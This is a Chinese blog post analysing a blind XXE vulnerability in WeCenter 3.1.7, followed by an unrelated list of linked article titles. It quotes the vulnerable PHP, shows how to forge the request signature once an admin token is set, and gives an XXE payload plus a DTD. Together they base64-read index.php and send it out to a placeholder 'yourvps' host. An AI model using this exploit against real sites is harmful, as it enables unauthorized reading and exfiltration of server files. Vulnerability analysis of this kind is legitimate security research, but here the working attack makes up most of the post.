xxe漏洞危害大,可以查看任意文件,执行系统命令,进行ddos等,但是本次漏洞有一条件,需要后台登录,所以危害降低了,下面是详细分析

在models/weixin.php

    public function fetch_message(){if ($this->post_data = file_get_contents('php://input')){$post_object = (array)simplexml_load_string($this->post_data, 'SimpleXMLElement', LIBXML_NOCDATA);if ($_GET['encrypt_type'] == 'aes'){$post_object = $this->decrypt_msg($post_object['Encrypt']);}$input_message = array('fromUsername' => $post_object['FromUserName'],'toUsername' => $post_object['ToUserName'],'content' => trim($post_object['Content']),'time' => time(),'msgType' => $post_object['MsgType'],'event' => $post_object['Event'],'eventKey' => $post_object['EventKey'],'mediaID' => $post_object['MediaId'],'format' => $post_object['Format'],'recognition' => $post_object['Recognition'],'msgID' => $post_object['MsgID'],'latitude' => $post_object['Latitude'],'longitude' => $post_object['Longitude'],'precision' => $post_object['Precision'],'location_X' => $post_object['Location_X'],'location_Y' => $post_object['Location_Y'],'label' => $post_object['Label'],'ticket' => $post_object['Ticket'],'createTime' => $post_object['CreateTime'],'status' => $post_object['Status'],'filterCount' => $post_object['FilterCount'],'picUrl' => $post_object['PicUrl'],'encryption' => ($_GET['encrypt_type'] == 'aes') ? true : false);$weixin_info = $this->model('openid_weixin_weixin')->get_user_info_by_openid($input_message['fromUsername']);if ($weixin_info){$this->user_id = $weixin_info['uid'];}if (get_setting('weixin_account_role') == 'service'){$this->bind_message = '你的微信帐号没有绑定 ' . get_setting('site_name') . ' 的帐号, 请<a href="' . $this->model('openid_weixin_weixin')->get_oauth_url(get_js_url('/m/weixin/authorization/')) . '">点此绑定</a>';}return $input_message;}}没有过滤post数据,带入到了simplexml_load_string 然后查找哪里调用了这个函数fetch_message,在app/weixin/api.php调用了这函数public function index_action(){if (!isset($_GET['id'])){$_GET['id'] = 0;}$account_info = $this->model('weixin')->get_account_info_by_id($_GET['id']);$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']);if (!$account_info OR !$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce'])){   exit();}if ($_GET['echostr']){exit(htmlspecialchars($_GET['echostr']));}if ($account_info['weixin_account_role'] == 'base' OR !$account_info['weixin_app_id'] OR !$account_info['weixin_app_secret']){$account_info['weixin_mp_menu'] = null;}$this->model('weixin')->account_info = $account_info;$input_message = $this->model('weixin')->fetch_message();$this->model('weixin')->response_message($input_message);}
}

然后这个地方

if (!$account_info OR !$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']))
{
exit();
}

如果$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']不成立就会退出去,无法执行$input_message = $this->model('weixin')->fetch_message();

跟进models/weixin.php

public function check_signature($mp_token, $signature, $timestamp, $nonce)
{
$tmp_signature = $this->generate_signature($mp_token, $timestamp, $nonce);if (!$tmp_signature OR $tmp_signature != $signature)
{
return false;
}return true;
}public function generate_signature($token, $timestamp, $nonce)
{
$token = trim($token);if (!$token OR !$timestamp OR !$nonce)
{
return false;
}$tmp_arr = array(
$token,
$timestamp,
$nonce
);sort($tmp_arr, SORT_STRING);return sha1(implode('', $tmp_arr));}

我们可以控制$signature参数,而且通过generate_signature我们知道如何生成signature,但是这里

if (!$token OR !$timestamp OR !$nonce) { return false; }

$mp_token是不能控制的,而且不能为空,这样我们就得设置$mp_token了,这个得在后台设置

然后我们成功设置$mp_token为testtest,对照signature生成的方法,写个脚本生成我们可控的$signatarue

<?php
$token = "testtest";
$timestamp = "a";
$nonce = "b";
$tmp_arr = array( $token, $timestamp, $nonce );
sort($tmp_arr, SORT_STRING);
echo sha1(implode('', $tmp_arr));

生成$signature为ed86c0d850f575d4fbd3b2062f1662bed2fe4245,最后url的格式如下

http://localhost/WeCenter_3-1-7/UPLOAD/?/weixin/api/?signature=ed86c0d850f575d4fbd3b2062f1662bed2fe4245&timestamp=a&nonce=b
然后由于这个xxe漏洞没有回显,但是blind xxe还是可以用的。 构造读取首页的payload

<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> <!ENTITY % remote SYSTEM "http://yourvps/xxe/evil.dtd"> %remote; %all; ]> <c>&send;</c></code>

其中evil.dtd内容如下

<!ENTITY % send "<!ENTITY external SYSTEM 'http://yourvps/log.php?msg=%payload;'>">

转载于:https://www.cnblogs.com/he1m4n6a/p/10069741.html

WeCenter3.1.7 blind xxe 分析相关推荐

  1. Blind XXE漏洞详解

    0x01 blind XXE漏洞 0x02 使用out-of-band(OAST)技术检测Blind XXE漏洞 2.1 使用参数实体进行绕过 2.2 利用out-of-band获取敏感信息 0x03 ...

  2. XXE漏洞以及Blind XXE总结

     转载请注明出处:http://blog.csdn.net/u011721501 0.前言 XXE漏洞是针对使用XML交互的Web应用程序的攻击方法,在XEE漏洞的基础上,发展出了Blind XX ...

  3. cve-2017-12629 apache solr xxe rce 漏洞分析

    Versions Affected Apache Solr before 7.1.0 with Apache Lucene before 7.1 Elasticsearch, although it ...

  4. XXE漏洞利用技巧(XML注入):从XML到远程代码执行

    目录 什么是XXE 基本利用 Blind OOB XXE 场景1 - 端口扫描 场景2 - 通过DTD窃取文件 场景3 - 远程代码执行 场景4 - 钓鱼 场景4 - HTTP 内网主机探测 场景5  ...

  5. 一篇文章带你深入理解漏洞之 XXE 漏洞

    目录 一.XXE 是什么 二.简单介绍一下背景知识: 三.基础知识 重点来了: 四.我们能做什么 实验一:有回显读本地敏感文件(Normal XXE) 新的问题出现 新的解决方法 实验二:无回显读取本 ...

  6. 简单XXE漏洞理解以及在实战中演练【网络安全】

    1.概念 XXE(XML External Entity Injection) 全称为 XML 外部实体注入.这是一个注入漏洞,强调利用点是外部实体 ,将注意力集中于外部实体中,而不要被 XML 中其 ...

  7. 网络安全--XXE漏洞利用思路

    一.XXE 是什么 介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞 如图所示: 既然能插入 XML 代码,那我们肯定不能善罢甘休,我们需要更多, ...

  8. 【burpsuite安全练兵场-服务端10】XML外部实体注入(XXE注入)-9个实验(全)

    前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...

  9. 【网络安全】什么是XXE?从0到1完全掌握XXE

    前置知识 XML 定义实体 XML 实体允许定义在分析 XML 文档时将由内容替换的标记,这里我的理解就是定义变量,然后赋值的意思一致.就比如一些文件上传的 payload 中就会有. XML 文档有 ...

最新文章

  1. java可以用 lt =判断int吗_int 和 integer:装箱和拆箱的过程,会用到什么方法
  2. 14.QueuedConnection和BlockingQueuedConnection连接方式源码分析
  3. soapUI学习笔记--用例字段参数化
  4. centos7 安装telnet服务
  5. Qt 获取文件夹下所有文件
  6. linux将ipv6地址改成ipv4,虚拟机ip地址从ipv6改为ipv4相关问题
  7. poj3669 Meteor Shower(预处理+bfs)
  8. Spring boot实现异步
  9. matlab出错及解决办法,Linux下使用Matlab符号函数出错的解决办法
  10. mysql 临时表 事务_MySQL学习笔记十:游标/动态SQL/临时表/事务
  11. 华硕笔记本之secure boot
  12. 考上985能改变命运吗_2021艺考生:文化课成绩一般,有机会考上985、211吗?
  13. java获取次月1日,java处置年、月、周次以及起至日期大全 (转载)
  14. java a =a-=aa_java 初学 :求 s=a+aa+aaa+aaaa+aa...a 的值,其中 a 是一个数字。几个 数相加由键盘控制。...
  15. java毕业设计校园博客系统mybatis+源码+调试部署+系统+数据库+lw
  16. 浏览器软件下载,点击超链接、图标等直接下载(前后端代码)
  17. keil软件仿真打印输出配置
  18. linux中inotify+unison实现数据双向实时同步
  19. 小仙女讲JVM(1)—综述
  20. (-ent -ant -ment)recipe and recipient

热门文章

  1. 关于Git和Github
  2. (字符串)字符串中首先出现两次的字符
  3. spring Mvc 执行原理 及 xml注解配置说明 (六)
  4. Linux安装ntp同步时间
  5. Highcharts使用指南
  6. 如何切换svn用户?
  7. MapReduce算法设计(三)----相对频率计算
  8. MOTChallenge榜单第一!用于多目标跟踪简单高效的数据关联方法 BYTE
  9. 重大变动:OpenCV拟更改授权协议!
  10. 第四届 AI City 挑战赛 @ CVPR 2020 开始啦!